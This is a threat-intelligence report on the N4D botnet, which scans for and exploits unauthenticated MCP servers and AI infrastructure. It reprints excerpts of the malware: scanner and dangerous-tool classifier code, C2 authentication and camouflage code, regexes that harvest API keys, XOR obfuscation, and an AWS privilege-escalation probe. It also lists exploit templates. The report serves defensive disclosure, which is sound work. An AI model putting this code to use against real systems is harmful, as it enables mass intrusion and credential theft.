N4D MESH CONTROLLER

Precedent-setting botnet combining generic MCP exploitation, automated multi-step lateral movement planning, and AI/LLM infrastructure targeting with emerging defense-awareness capabilities

00. Key Findings — Binary Analysis + Live Campaign

KEY FINDINGS — BINARY ANALYSIS + LIVE CAMPAIGN (2026-07-02)
INTEGRATED BOTNET
4 Integrated Capabilities
1. Generic MCP Exploitation: C2-controlled botnet that auto-discovers and exploits MCP servers.
2. AI Infrastructure Targeting: Dedicated chains for LightLLM, Ray (/run API), FastGPT.
3. Automated Exploit Chaining: pathing_engine.py plans multi-step lateral movement (scan→find→execute→harvest→deploy).
4. Defense-Aware: Encodes prompt injection as security category, suggesting active engagement with defended AI systems.
GO BINARY
170+ Named Functions in Debug Build
Complete forensic reconstruction from n4d_debug (7.3 MB, ELF64, Jun 26 2026). Symbol tables intact, enabling identification of 170+ named Go functions. Includes 20+ reconnaissance/probe functions (scanCIDR, checkService) across the full attack lifecycle.
EXPLOIT SCOPE
30+ Service-Specific Attack Modules
Databases: PostgreSQL (COPY TO PROGRAM), MySQL (outfile+cron), Oracle. Caching: Redis (CONFIG SET), RabbitMQ. Container: Docker socket escape, Kubernetes etcd, kubelet API. App Servers: Tomcat, JBoss, WebLogic, Spring Gateway, Jenkins, OFBiz. Monitoring: Superset, Grafana. Cloud: AWS EC2 metadata, Azure identity.
PERSISTENCE
6 Independent Persistence Mechanisms
Every compromised host receives all six simultaneously: installPersistence (cron.d), installBashrc, installSystemd, installSSHKey (~/.ssh/authorized_keys), installWatchdog, plus /etc/profile.d/sys_alias.sh for login-triggered execution.
C2 CAPABILITY
Interactive WebSocket PTY + CF Tunnel
Operators access live shells via /api/pty WebSocket in the C2 panel. Agents establish outbound Cloudflare Quick Tunnels (*.trycloudflare.com) — anonymous, no domain registration, TLS signed by Cloudflare CA.
STEALTH
Active Anti-Forensics + HP Detection
cleanupTraces, setProcName (kernel worker masquerade), stealthRST (no connection logs), randomized delays and User-Agents. Score-based honeypot blacklist shared across the fleet.

01. Executive Overview

Initial server and malware samples provided by MalwareHunterTeam. Investigation, AI-assisted analysis, validation, and technical documentation by 1ZRR4H. This analysis documents an active N4D botnet campaign.

The open directory exposed the complete operational toolkit of a live botnet campaign: four generations of MCP scanners, a polymorphic Python agent builder, both C2 controller versions, an attack chain planner, AWS post-exploitation scripts, and a Go binary (n4d_debug) left with debug symbols intact. That binary exposed 170+ named functions and the full exploit arsenal. The C2 API running on port 8443 was reachable during the investigation, and its credential endpoint in v3.1 required no authentication.

⚠️ What Makes N4D Different
N4D's threat level doesn't come from any single new exploit. Instead, it combines four capabilities into one integrated botnet:

1️⃣ Generic MCP Client Framework
Operator-directed botnet that auto-discovers and exploits MCP servers without knowing server type in advance. Enumerates tool catalogs and invokes dangerous capabilities via C2 task assignment. This is different from traditional botnet models, which target known services by name.

2️⃣ AI Infrastructure Targeting with CVE-Specific Chains
The botnet targets AI/LLM platforms (LightLLM, Ray, FastGPT) as first-class attack targets via documented CVE exploits—not incidental infrastructure like databases.

3️⃣ Automated Exploit Chaining Engine
pathing_engine.py generates multi-step lateral movement automatically: scan → find service → execute → harvest credentials → deploy agent. Each compromised host becomes a stepping stone, not a random victim. This is operational sophistication beyond simple worm-style propagation.

4️⃣ Defense-Aware Malware with AI System Recognition
The binary encodes explicit detection of "prompt injection defenses" as a security category. This indicates the threat actor has encountered defended AI systems and is learning from them in real time.

Why This Matters: These capabilities exist separately in various families: LLM-assisted malware (PROMPTFLUX), AI-targeting exploits (ShadowRay), lateral movement engines (many botnets), and defense evasion (standard practice). N4D integrates all four in a C2-controlled botnet with tactical agent autonomy. This specific combination—generic MCP exploitation + AI targeting + automated planning + defense-awareness—defines N4D's operational posture.

Each of these four capabilities is detailed in the sections below. See Section 03 for MCP exploitation and Section 13 for AI platform targeting, automated exploitation chaining, and complete binary analysis.

AI operator priority: The harvest rules in pathing_engine.py explicitly prioritize OPENAI_API_KEY, ANTHROPIC_API_KEY, and AWS credentials above all other credential types. The binary analysis confirms this is not incidental. deployLightLLM, deployRayDashboard, and exploitAKSMCP are first-class exploit modules targeting the GPU compute and model API access that represent directly monetizable assets.

Critical finding: The C2 API port 8443 was reachable during the investigation. GET /api/intel on controller v3.1 required zero authentication: no token, no key, no session. A single HTTP request returned every credential the botnet had collected from its victims.

Following discovery of the exposure, the operators upgraded to controller v4.0. The new version added HMAC-SHA256 authentication on all sensitive endpoints, CDN camouflage via 302 redirect to Imperva, Cloudflare tunnel relay for agent communications, and a multi-step attack chain engine (pathing_engine.py). The full v3.1 to v4.0 transition is documented by files recovered from the open directory.

The open directory contained, at minimum:

  • Four scanner generations: mcp_scan.py, mcp_direct.py, mcp_scan_v2.py, mcp_v3.py
  • Polymorphic agent builder: build_agent.py + mesh_agent.py
  • C2 controllers: controller.py (v3.1) and controller_v4.py
  • AWS post-exploitation script: aws_enum.py + aws_validated.json
  • Attack chain planner: pathing_engine.py
  • Shell delivery script: beacon.sh
N4D campaign architecture overview

Fig. 1 - High-level campaign architecture: C2 controller dispatching CIDR scan tasks to distributed agents, with the polymorphic build pipeline and credential exfiltration pipeline.

02. Infrastructure Architecture

The C2 controller is a FastAPI application running under Uvicorn on port :8443, backed by a PostgreSQL database with eight tables. The agent fleet communicates with the controller over HMAC-authenticated HTTP in v4.0. A P2P mesh layer on port :9999 allows inter-agent communication and peer discovery, providing operational continuity if the primary controller becomes unavailable.

Controller Database Schema

PostgreSQL backs all controller state across eight tables:

TablePurposeKey Columns
nodesAgent registry and heartbeat trackingnode_id, ip, tunnel_url, version, last_seen
tasksScan task queue dispatched to agentstask_id, node_id, cidr, ports, status
resultsRaw scan output from completed taskstask_id, findings, created_at
intelExfiltrated credentials and system filesnode_id, files, env, docker, metadata
alertsHigh-value target notificationsnode_id, alert_type, detail
scanned_rangesCIDR deduplication across the fleetcidr, scanned_at, node_id
deploysBeacon and deployment logtarget_ip, target_port, status, deployed_by
chain_tasksMulti-step attack chain assignmentschain, status, current_step, node_id

Geo-Targeted CIDR Assignment

When an agent registers, the controller inspects the connecting IP and assigns scan ranges from regionally appropriate CIDRs. Chinese IP addresses receive Tencent Cloud and Alibaba Cloud ranges. All other IPs receive ranges from Hetzner, DigitalOcean, Linode, OVH, Vultr, and Contabo. This approach distributes scan traffic across cloud providers to avoid threshold-based blocking on any single ASN.

Cloudflare Tunnel Relay

Each agent registers a Cloudflare tunnel URL via POST /api/endpoint on first connection. Subsequent agent-to-C2 traffic flows through Cloudflare's infrastructure, hiding the actual C2 IP from network-layer defenders inspecting agent traffic. The controller resolves which Cloudflare URL belongs to which agent via the nodes.tunnel_url column.

Three-Port Public Entry Stack

Three separate listener processes bind the server's public interface, each proxying to the same FastAPI backend on :8443. This gives agents and operators three independent network paths to the C2, improving resilience against port-level blocking:

PortScriptProtocolFunction
:80 http_proxy.py Plain HTTP Forwards to :8443; used as third-priority fallback in beacon.sh when HTTPS is unavailable
:443 tls_proxy.py TLS - cdnorigin.net Terminates TLS using the cdnorigin.net certificate, then proxies plaintext to :8443; primary secure entry
:8443 controller_v4.py Plain HTTP (FastAPI) Direct C2 API; all authenticated agent endpoints; the canonical backend for all three entry points

CDN Front Domain - cdnorigin.net

The TLS proxy on port 443 presents a certificate issued to CN=cdnorigin.net - a domain registered specifically for this operation to add apparent legitimacy. The certificate is self-signed with an RSA-2048 key pair and carries a 10-year validity window (issued 2026-06-26, expires 2036-06-23). Agents using the curl download fallback with -k skip certificate validation entirely, so the domain name serves primarily to make TLS traffic appear to originate from a CDN origin rather than a raw IP.

The private key for this certificate (cf-key.pem) was present in the exposed open directory and has been fully redacted from this report. Its exposure means any observer of TLS traffic to port 443 can decrypt it retroactively. See Section 14 for full OpSec failure analysis.

Three-port C2 entry stack and CDN front architecture

Fig. 2 - The three-port C2 entry stack: tls_proxy.py on :443 (cdnorigin.net TLS, private key exposed), http_proxy.py on :80 (plain forward), and controller_v4.py on :8443 (direct FastAPI). All proxy to the same backend. Non-API requests receive a 302 redirect to imperva.com for CDN camouflage.

03. Why AI Tooling Is the Target

The Model Context Protocol (MCP) - specified at protocol version 2024-11-05 - is a JSON-RPC standard that lets AI assistants communicate with external tool servers. An AI assistant configured with an MCP server can call tools to run code, read files, query databases, invoke cloud APIs, and more. The spec places no authentication requirement at the transport layer. Server implementors are entirely responsible for access control.

In practice, thousands of MCP servers run on public IP addresses with no authentication. Developers deploy them during experimentation; CI systems run them for automated workflows; internal services expose them on ports that are inadvertently routed through cloud security groups left at their defaults. The protocol's tools/list method returns a machine-readable manifest of every capability a server has. This makes automated target qualification trivial: connect, enumerate, classify, and call.

No exploit required. An MCP server advertising execute_command without authentication is an unauthenticated root shell on the public internet. The attacker sends a standard JSON-RPC tools/call request. There is no vulnerability to patch. There is no CVE. The server performs exactly as designed - it just had no business being reachable from the open internet.

Dangerous Tool Classifier

Every probed server's tool list is matched against this classifier. A single match triggers immediate exploitation via tools/call:

execute_command run_command shell terminal execute eval exec subprocess call_kubectl call_az read_file write_file delete_file execute_sql run_sql read_query transfer withdraw sign deploy command query

Direct unauthenticated RCE    High-impact data / lateral movement    Context-dependent

MCP exploit sequence diagram

Fig. 3 - The MCP exploit sequence: initialize handshake, tools/list reveals execute_command, a single tools/call delivers a command, response contains root shell output.

04. Scanning Operations

Four scanner versions appear in the disclosed toolkit, each representing a development iteration within the same operational window. File timestamps from the open directory snapshot place these at least 9 hours apart, showing active tuning during live campaign execution.

VersionFileConcurrencyKey Change
v1mcp_scan.py200 workersBaseline - reads targets from stdin, single shared client
v2mcp_direct.py500 workersCIDR input mode, 14-port target list
v3mcp_scan_v2.py500 workersShared AsyncClient across workers - major throughput improvement
v4 (final)mcp_v3.py500 workersExplicit connection pool limits, 30s pool timeout, JSONL output sorted by dangerous tool count

Final Scanner Core - MCP Handshake and Dangerous Tool Classification

# mcp_v3.py - core scanner logic (abbreviated)
INIT = {
    "jsonrpc": "2.0",
    "id": 1,
    "method": "initialize",
    "params": {
        "protocolVersion": "2024-11-05",
        "capabilities": {},
        "clientInfo": {"name": "n4d-vps", "version": "1.0"}
    }
}

DANGER = {
    "execute_command", "run_command", "execute", "shell", "terminal",
    "read_file", "write_file", "delete_file", "execute_sql", "run_sql",
    "read_query", "call_kubectl", "call_az", "eval", "exec",
    "subprocess", "command", "transfer", "withdraw", "sign", "deploy"
}

async def probe_mcp(client, ip, port, path):
    url = f"http://{ip}:{port}{path}"
    r = await client.post(url, json=INIT, timeout=4)
    if r.status_code == 200 and "result" in r.json():
        tools = await list_tools(client, url)
        dangerous = [t for t in tools if any(d in t.lower() for d in DANGER)]
        if dangerous:
            await exploit_dangerous(client, url, dangerous)

v4.0 Port Expansion

Controller v4.0 doubles the port scope from 8 to 16 targets per host, adding infrastructure management surfaces that go far beyond MCP:

# v3.1 - 8 ports
SCAN_PORTS = "80,443,3000,5000,8000,8080,8443,8888"

# v4.0 - 16 ports: added Docker, Kubernetes, Redis, PostgreSQL, Elasticsearch
SCAN_PORTS = "80,443,3000,5000,8000,8080,8443,8888,2375,2376,6379,5432,6443,10250,9090,9200"

Docker daemon on :2375 (unauthenticated by default), the Kubernetes API on :6443, kubelet on :10250, and Redis on :6379 are each independently capable of yielding full cluster control with no credentials. The operation expanded its target surface from "exposed AI tool endpoints" to "any exposed infrastructure management interface."

Operation timeline

Fig. 4 - Operation timeline - 9+ hours of continuous scanning documented from the open directory snapshot, showing scanner iterations and operational evolution.

05. Critical OpSec Failure: Unauthenticated Intel API

The most consequential finding in this investigation is not what the botnet did to its victims. It is what the operators left exposed about themselves. The C2 API on port 8443 was reachable. In controller v3.1, the credential endpoint required no authentication whatsoever. A direct HTTP request returned the complete harvest database.

The Unauthenticated Endpoint - v3.1 Source

# controller.py (v3.1) - THE EXPOSED VERSION
@app.get("/api/intel")
async def get_intel():
    with db() as c:
        cur = c.cursor()
        cur.execute(
            "SELECT node_id, files, env, docker, metadata, created_at "
            "FROM intel ORDER BY created_at DESC LIMIT 50"
        )
        cols = [d[0] for d in cur.description]
        return {"intel": [dict(zip(cols, row)) for row in cur.fetchall()]}

No authentication decorator. No middleware. No API key check. Anyone who could reach port 8443 could dump every credential the botnet had ever collected. This endpoint produced the credential dataset analyzed in §06.

The POST Endpoint Was Equally Open

The intel submission endpoint, the one agents call to exfiltrate credentials, was also unauthenticated in v3.1. Any host on the internet could submit arbitrary credential data to the botnet's database. Any host could also read back everything submitted. The entire intel pipeline was unauthenticated.

API exposure diagram

Fig. 5 - The unauthenticated /api/intel endpoint in v3.1: both GET (credential dump) and POST (credential submission) required no authentication token of any kind.

06. Credential Harvest: Contents of GET /api/intel

The intel API response is a JSON array. Each record represents one compromised host and the material submitted by that host's agent. All actual values in this report are replaced with [REDACTED]. The following describes the structure and types of data present.

First-Wave Harvest Results — credential and access types recovered from the initial exploitation wave:
46 /etc/shadow files 21 backdoored authorized_keys 6 SSH private keys 5 Azure ARM bearer tokens 6 AWS IAM sets (3 accounts) 18 Docker socket paths 9 env var secrets

System Credentials - files Field

Each record's files field is a dictionary mapping file paths to their verbatim contents as exfiltrated from the compromised host:

File PathContent TypeHash FormatStatus
/etc/shadow Linux shadow password database $y$ (yescrypt), $6$ (SHA-512) [REDACTED]
/root/.ssh/id_rsa RSA private key (PEM format) -----BEGIN RSA PRIVATE KEY----- [REDACTED]
/root/.ssh/authorized_keys Attacker-inserted backdoor public key Comment field: test [REDACTED]

The intel database contains 100 total records, of which 98 carry substantive data. Credential type distribution across the dataset:

Credential / Data TypeRecordsNotes
/etc/shadow captured4615 with root password hash; 31 with root locked
authorized_keys modified21Backdoor key inserted; see key comment breakdown below
Nodes with Docker present18Enables container escape paths
Azure Managed Identity tokens5Azure RM Bearer tokens from IMDS (169.254.169.254)
SSH private keys (/root/.ssh/id_rsa)6[REDACTED]
Environment variables with secrets9Includes NGINX_UI_PREDEFINED_USER_PASSWORD, MYSQL_ROOT_PASSWORD, UPDATE_SERVICE_API_KEY
AWS IAM credential sets (aws_validated.json)63 distinct AWS accounts; validated live via STS GetCallerIdentity by aws_enum.py

The backdoor SSH key in authorized_keys is not a single key — the agent inserts keys from a pool with nine distinct comment strings across the 21 backdoored hosts:

Key CommentCountAssessment
auto-backdoor21Agent-generated key — automated, campaign-wide
test6Generic operator key
u0_a599@localhost3Android app UID format — suggests connection from Android (Termux or similar)
admin@mm2Short generic hostname
hype2Operator handle or generic label
jan@mac1Low-confidence attribution indicator — personal Mac username
root@proxmox1Proxmox host — likely compromised relay node
good@gooddeMacBook-Pro.local1Low-confidence attribution indicator — personal Mac with operator username good
evincent@ev-mac.lan1Low-confidence attribution indicator — Mac on private LAN; username evincent also appears in one captured /etc/shadow
(no comment)1

Cloud Credentials - metadata Field

The metadata field contains JSON where each key is the name of an MCP tool that the agent called, and the value is the verbatim JSON response that tool returned. This directly maps MCP tool exploitation to credential type:

MCP Tool CalledCredential TypeExample FieldsValue
get_aws_admin_credentials AWS long-term IAM key AccessKeyId, SecretAccessKey [REDACTED]
get_aws_session_credentials AWS STS temporary token AccessKeyId (ASIA...), SecretAccessKey, SessionToken [REDACTED]
get_ssh_session_credentials EC2 SSH plaintext password username: ec2-user, password [REDACTED]

Azure Managed Identity Tokens

Several records contain full Azure Resource Manager Bearer tokens obtained from the Azure Instance Metadata Service (IMDS) at 169.254.169.254. The decoded JWT claims identify the source VM precisely:

JWT ClaimValueImplication
aud https://management.azure.com/ Full Azure Resource Manager scope
idtyp app Machine identity (Managed Identity), not a user token
xms_mirid /subscriptions/[REDACTED]/resourceGroups/[REDACTED]/providers/Microsoft.Compute/virtualMachines/[REDACTED] Exact source VM path fully identified
exp iat + 24h Token valid 24 hours; three successive entries ~10h apart indicate auto-refresh by agent

Three JWT entries for the same node appear with issue times roughly 10 hours apart. The agent refreshes the token before its 24-hour expiry, maintaining persistent Azure management plane access without any additional exploitation step.

Six AWS credential records across three distinct AWS accounts appear in aws_validated.json (validated separately from the intel API via aws_enum.py, confirmed live via STS GetCallerIdentity). IAM usernames present: admin-old, svc-backup, svc-ansible, payroll-svc, legacy-service. All credential values are [REDACTED]. Source IPs correspond to cloud VMs (previously compromised MCP servers) and are likewise redacted. Note: the intel API metadata field stores Azure tokens directly; AWS credentials were harvested via a separate validation pipeline rather than via MCP tool calls.

Credential harvest diagram

Fig. 6 - Intel API record structure: the chain from MCP tool call to credential type stored in the intel database.

07. v3.1 to v4.0 Hardening: An Operational Response

Controller v4.0 is not a routine feature release. Every substantive change it introduces directly addresses the specific failure that led to the credential database exposure. The diff between the two controllers, both present in the open directory, reads as a forensic record of what the operators realized they had done wrong.

HMAC Authentication Added

# controller_v4.py - lines 53-70
MESH_KEY = bytes.fromhex("[REDACTED - 32-byte HMAC key]")
OPERATOR_KEY = os.environ.get("N4D_OP_KEY", "[REDACTED]")

def verify_bot_auth(req: Request) -> bool:
    """Verify HMAC-SHA256(mesh_key, node_id + timestamp) in X-Mesh-Auth header."""
    token = req.headers.get("X-Mesh-Auth", "")
    if not token or ":" not in token:
        return False
    nid, sig_hex = token.split(":", 1)
    # Accept +-1 second window - bot generates HMAC at request time
    now = int(time.time())
    for ts in [now, now - 1, now + 1]:
        expected = hmac.new(
            MESH_KEY,
            f"{nid}:{ts}".encode(),
            hashlib.sha256
        ).hexdigest()
        if hmac.compare_digest(expected, sig_hex):
            return True
    return False

Authentication Middleware

# controller_v4.py - lines 82-107
OPEN_ENDPOINTS = {
    "/api/client/update", "/api/status", "/api/agent/binary",
    "/api/register", "/api/agent/download", "/api/beacon",
    "/api/update/check", "/api/update/canary", "/api/update/health"
}
# /api/intel, /api/chains, /api/stats require operator key
OPERATOR_ENDPOINTS = {"/api/intel", "/api/chains", "/api/stats"}

@app.middleware("http")
async def auth_middleware(req: Request, call_next):
    path = req.url.path
    if not path.startswith("/api/"):
        return await call_next(req)
    if path in OPEN_ENDPOINTS:
        return await call_next(req)
    if path in OPERATOR_ENDPOINTS and req.method == "GET":
        if verify_operator_auth(req):
            return await call_next(req)
        return JSONResponse({"error": "unauthorized"}, status_code=401)
    if verify_bot_auth(req):
        return await call_next(req)
    return JSONResponse({"error": "unauthorized"}, status_code=401)

Backward-Compatible Bootstrap

The OPEN_ENDPOINTS set includes /api/client/update and /api/agent/download. Old bots running v3.1 - without any HMAC capability - can still reach these endpoints without authentication and download the v4.0 binary with HMAC baked in. The update system bootstraps the entire fleet to authenticated operation without losing a single node.

The v3.1 to v4.0 upgrade is not a routine patch. It is a direct operational response to having their entire credential database exposed. The OPEN_ENDPOINTS list was carefully designed to maintain continuity - the update channel stays open -- while locking down everything sensitive. The operators understood exactly which endpoints had caused the exposure and addressed each one.

CDN Camouflage

Controller v4.0 adds a middleware layer that redirects all non-API traffic to a legitimate CDN company. The intent is to make the C2 server appear to be a CDN origin when visited by browsers, crawlers, or security researchers.

# controller_v4.py - lines 235-247
# ===== CDN CAMOUFLAGE =====
# Non-API traffic (browser visits, crawlers) gets redirected to a real CDN company.
# Makes the domain look like a boring CDN origin server, not a C2 controller.
@app.middleware("http")
async def camouflage_middleware(req: Request, call_next):
    path = req.url.path
    if path.startswith("/api/"):
        return await call_next(req)
    if path == "/robots.txt":
        return PlainTextResponse(
            "User-agent: *\nDisallow: /\n", media_type="text/plain"
        )
    # Everything else - redirect to real CDN company
    return RedirectResponse("https://www.imperva.com/", status_code=302)

The layered effect is as follows: a browser or automated scanner visiting the IP receives a 302 redirect to Imperva's homepage, making the server appear to be a CDN origin. The robots.txt response ("Disallow: /") is consistent with what a CDN origin would return to prevent search engines from indexing it. API paths bypass the redirect entirely, requiring an attacker to know the /api/ prefix.

Combined with the Cloudflare tunnel relay - where agents connect via Cloudflare-issued URLs rather than the raw C2 IP - the infrastructure presents a minimal footprint on threat intelligence feeds. Network-layer defenders inspecting agent traffic see only Cloudflare IP ranges; defenders probing the C2 IP directly see only a CDN 302 redirect.

The cdnorigin.net domain compounds this effect. When TLS traffic to port 443 is inspected at the SNI layer, the server name cdnorigin.net reads as a plausible CDN origin hostname. The domain name was chosen to blend into traffic analysis tooling that correlates SNI values against known CDN provider domains.

08. Attack Chain Engine

Controller v4.0 introduces a capability that v3.1 entirely lacked: automated multi-step attack sequencing. The pathing_engine.py script - present in the open directory - analyzes the results database and generates "chains": ordered sequences of exploitation steps that agents execute one at a time.

Chain Dispatch - Security-Aware Design

# controller_v4.py - chain_row dispatch section
# SECURITY: Only send ONE step at a time to bot - never reveal full chain
# SECURITY: Only trusted bots (active >1h, >10 tasks) get chain tasks
bot_task_count = cur.fetchone()[0]
bot_age = time.time() - (node_row[0] or time.time())
is_trusted = bot_task_count >= 10 and bot_age > 3600

# ... (assign chain_task to trusted bot)

if chain_row:
    chain_id, chain_data, step_idx = chain_row
    steps = chain_data.get("steps", [])
    step = steps[step_idx]
    print(
        f"[AUDIT] chain_step_dispatch id={chain_id} "
        f"step={step_idx}/{len(steps)} bot={nid} "
        f"exploit={step.get('exploit','?')} "
        f"target={step.get('target','?')}",
        flush=True
    )
    return {
        "task_id": ...,
        "chain_task": {
            "id": chain_id,
            "step": step_idx,
            "total_steps": len(steps),
            "exploit": step.get("exploit"),
            "target": step.get("target"),
            "deploy_cmd": step.get("deploy_cmd")
        }
    }

Chain Refresh Endpoint

@app.post("/api/chains/refresh")
async def refresh_chains():
    """Re-run the pathing engine with latest findings and populate chain_tasks."""
    result = subprocess.run(
        [".venv/bin/python", "pathing_engine.py", "--db", "--json"],
        capture_output=True, text=True, timeout=120, cwd="/opt/scanner"
    )
    tasks = json.loads(result.stdout.strip().split("\n")[-1])
    for task in tasks:
        chain_sig = json.dumps(task.get("steps", []), sort_keys=True)
        cur.execute(
            "INSERT INTO chain_tasks (chain, status, created_at) "
            "VALUES (%s, 'pending', %s)",
            (json.dumps(task), time.time())
        )

Chain Trust and Safety Mechanics

  • Each bot receives exactly one step at a time. The full chain is never sent to any single agent.
  • A bot must complete at least 10 scan tasks AND maintain connectivity for 1+ hour before receiving chain assignments.
  • Targets that fail 3 or more consecutive steps are automatically blacklisted from that chain.
  • Step results are submitted via POST /api/chains/result/{nid}; the controller advances the chain or marks it failed.
  • Full audit logging on every chain step dispatch: chain ID, step index, exploit type, and target IP are written to the controller log.

The presence of pathing_engine.py marks a significant capability escalation. This operation moved from "opportunistic MCP scanning" to "automated multi-step lateral movement planning." The chain engine generates sequences like: scan - find exposed tool - execute command - harvest credentials - deploy agent - scan adjacent networks. Each compromised host becomes a planned stepping stone, not just an incidental victim.

Attack chain engine architecture

Fig. 7 - The v4.0 attack chain engine: pathing_engine.py reads the results database, builds multi-step exploitation chains, and dispatches one step at a time to trusted bots. No single agent ever sees the full plan.

Exploit Template Registry (16 Documented Templates)

pathing_engine.py ships with multiple pre-built exploit templates organized into four categories. Each template declares the capability it requires, the capability it provides, reliability metadata, and a deploy_cmd identifier that the agent translates into actual shellcode.

CategoryTemplateRequiresProvidesReliability
MCP Protocol Exploitation dbhub_unauth_sql network_access sql_read + sql_write 0.70
mysql_streamable_unauth network_access sql_read + sql_write 0.65
aks_mcp_unauth network_access k8s_admin 0.60
mcp_shell_exec network_access shell_exec 0.80
mcp_file_read network_access file_read 0.85
SQL - RCE sql_to_pg_rce sql_write (pg) shell_exec via pg_copy_to_program 0.60
sql_to_mysql_rce sql_write (mysql) shell_exec via outfile + cron 0.40
creds_to_redis / redis_cron_rce creds:redis / redis_access redis_access / shell_exec 0.80 / 0.50
creds_to_ssh creds:ssh shell_exec 0.70
CVE jenkins_cli_rce network_access (port 8080) shell_exec 0.65
docker_api_rce network_access (port 2375/2376) shell_exec 0.85
rclone_rcd_rce network_access (port 5572) shell_exec 0.70
weblogic_console_rce network_access (port 7001) shell_exec 0.55
Lateral shell_to_container_escape shell_exec shell_exec (host) 0.50
k8s_to_pod_exec k8s_admin shell_exec 0.60
creds_to_azure creds:azure cloud_access (azure) 0.65

Chain Scoring Formula

Attack chains are ranked by a composite score that weighs severity, end-state value, reliability across all steps, and path length. Shorter paths to high-value end states are preferred:

# pathing_engine.py - AttackChain.score property
score = (max_severity + end_bonus) * reliability * 0.85 ** depth

# end_bonus values (capability type → bonus points):
# shell_exec  → +5    (arbitrary code execution confirmed)
# k8s_admin   → +5    (full Kubernetes cluster control)
# cloud_access → +8   (highest bonus: cloud account takeover)
# creds        → +2   (credential harvest, enables further chaining)

# reliability = product of all step reliabilities in the chain
# depth penalty: 0.85^depth = 0.72 at 2 steps, 0.61 at 3 steps, 0.52 at 4 steps

The depth penalty (0.85 per step) means a two-step chain scoring 7.0 outranks a three-step chain scoring 8.5 in raw capability terms if the three-step path's reliability product drops enough. This drives the engine toward direct, high-confidence routes rather than elaborate chains with multiple low-reliability steps.

Credential Harvest Rules - AI API Keys Explicitly Targeted

Harvest rules in pathing_engine.py extract credentials from exploit output. The following example shows AI API key prioritization:

# pathing_engine.py - build_harvest_rules()
rules["env_vars"] = HarvestRule(
    trigger_type="shell_exec",
    patterns=[
        r'(?:OPENAI_API_KEY|ANTHROPIC_API_KEY|AWS_ACCESS_KEY_ID|'
        r'AWS_SECRET_ACCESS_KEY|GOOGLE_API_KEY|STRIPE_API_KEY)\s*=\s*([^\s]+)',
        r'(?:DATABASE_URL|REDIS_URL)\s*=\s*([^\s]+)',
    ],
    produces={"type": "creds", "target": "api:{extracted}"},
)

rules["env_file"] = HarvestRule(  # fires on file_read (e.g. .env files)
    trigger_type="file_read",
    patterns=[  # same patterns + mongodb + password fallback
        r'(?:OPENAI_API_KEY|ANTHROPIC_API_KEY|AWS_ACCESS_KEY_ID|...)\s*=\s*([^\s]+)',
    ],
    produces={"type": "creds", "target": "api:{extracted}"},
)

# Additional rules harvest:
#   sql_config_table → MySQL/JDBC connection strings from config tables
#   sql_user_hashes  → bcrypt, MD5, SHA1 password hashes from sql_read output
#   k8s_secrets      → DATADOG_API_KEY, AZURE_CLIENT_SECRET from Kubernetes secrets
#   ssh_keys         → PEM private key blocks from file_read output
#   nginx_ui_*       → nginx-ui node secrets for authenticated PTY access

AI API key harvesting is a first-class objective, not an afterthought. MCP servers - the primary scan target - are overwhelmingly deployed by AI application developers who routinely set OPENAI_API_KEY and ANTHROPIC_API_KEY in their environment. A single shell_exec on an MCP host yields these keys automatically, without any additional attacker action.

09. Polymorphic Agent Build Pipeline

build_agent.py takes the canonical agent source (mesh_agent.py) and transforms it through 8 AST and bytecode stages, producing a unique binary on every build. Two downloads of the agent at the same second will produce binaries with different file hashes, different identifier names, different string encodings, different function ordering, and different blob compression. File hash and static YARA string-matching are both defeated without behavioral rules.

Eight Build Stages

1
Dead Code Removal
AST traversal strips all docstrings, comments, and print() calls to reduce the surface area available to pattern-matching before obfuscation begins.
2
Identifier Renaming
Approximately 40 sensitive identifiers - MESH_KEY, AGENT_VERSION, CONTROLLER, AUTH_PUB_HEX, CACHED_CIDRS, scan_cidr, verify_signature, PeerHandler, and others - are replaced with randomly generated 8-character opaque strings. New names are generated per build from a fresh random seed.
3
XOR String Encoding
A tokenizer pass identifies string literals matching 22 sensitive patterns: IP addresses, CIDR notation, path prefixes like /dev/shm/, protocol keywords like n4d, and API paths. Each matching constant is XOR-encoded with a per-build random 16-byte key and replaced with an inline decoder expression.
4
Function Order Shuffle
Top-level function definitions are extracted from the AST and reinserted in cryptographically random order. Runtime semantics are preserved because Python resolves function names at call time, not definition time.
5
No-Op Code Injection
Decoy statements (_=0, if 0:pass, _=len("")) are injected at roughly 1.5% probability per eligible line boundary. These contribute to hash uniqueness and slightly inflate disassembly length.
6
Compile Verification
The transformed source is passed through Python's compile() to catch any syntax errors introduced by the transformation stages before committing to the next stage.
7
Compress and Blob Encode
Random compression algorithm (zlib level 9, bz2 level 9, or no compression), followed by a randomly chosen XOR variant: plain XOR, XOR then byte rotation, or XOR of the reversed byte sequence. Both choices are baked into the output loader.
8
Randomized Loader Stub
A minimal Python loader with randomized variable names decodes the blob and exec()s it at runtime. Three anti-analysis features execute in randomized order: self-deletion (os.unlink(sys.argv[0])), anti-debug (reads /proc/self/status, exits if TracerPid != 0), and output suppression (sys.stdout = open("/dev/null","w")).

XOR Encoding - Runtime Decoder Generation

# build_agent.py - per-build XOR encoding (abbreviated)
XOR_KEY = os.urandom(16)  # 16 random bytes per build

def xor_encode(data: bytes) -> bytes:
    key = XOR_KEY
    return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))

# String encoding in AST transformer
def encode_string(s: str) -> ast.expr:
    raw = s.encode()
    enc = xor_encode(raw)
    # Generate: bytes([...]).decode() using XOR at runtime
    return ast.parse(
        f"bytes(b ^ {XOR_KEY}[i % {len(XOR_KEY)}] "
        f"for i, b in enumerate({list(enc)})).decode()",
        mode='eval'
    ).body

Every call to GET /api/agent/download triggers a fresh build. Two downloads of the agent at the same second produce binaries with different hashes, different identifier names, different string encodings, and different function orders. File hash and YARA string-matching are both ineffective against this pipeline without behavioral detection rules targeting the anti-analysis patterns at runtime.

Polymorphic build pipeline diagram

Fig. 8 - The eight-stage polymorphic build pipeline: each output binary has a unique hash, unique identifier names, unique string encoding, and unique function order.

10. AWS Post-Exploitation

Once credentials appear in the intel database, aws_enum.py processes them to enumerate the AWS attack surface of each compromised account. Six credential pairs from three distinct AWS accounts appear in aws_validated.json - all values [REDACTED]. IAM usernames identified: admin-old, svc-backup, svc-ansible, payroll-svc, legacy-service.

Privilege Escalation Probe

The script includes a specific test for iam:CreateAccessKey permission, which would allow creating new long-term credentials independent of the original compromised key:

# aws_enum.py - privilege escalation test (abbreviated)
new_keys = iam.create_access_key(UserName=user)
if new_keys:
    print("*** CAN CREATE NEW ACCESS KEYS (persistent access) ***")
    # Creates then immediately deletes - tests the permission without leaving an artifact
    iam.delete_access_key(
        UserName=user,
        AccessKeyId=new_keys['AccessKey']['AccessKeyId']
    )

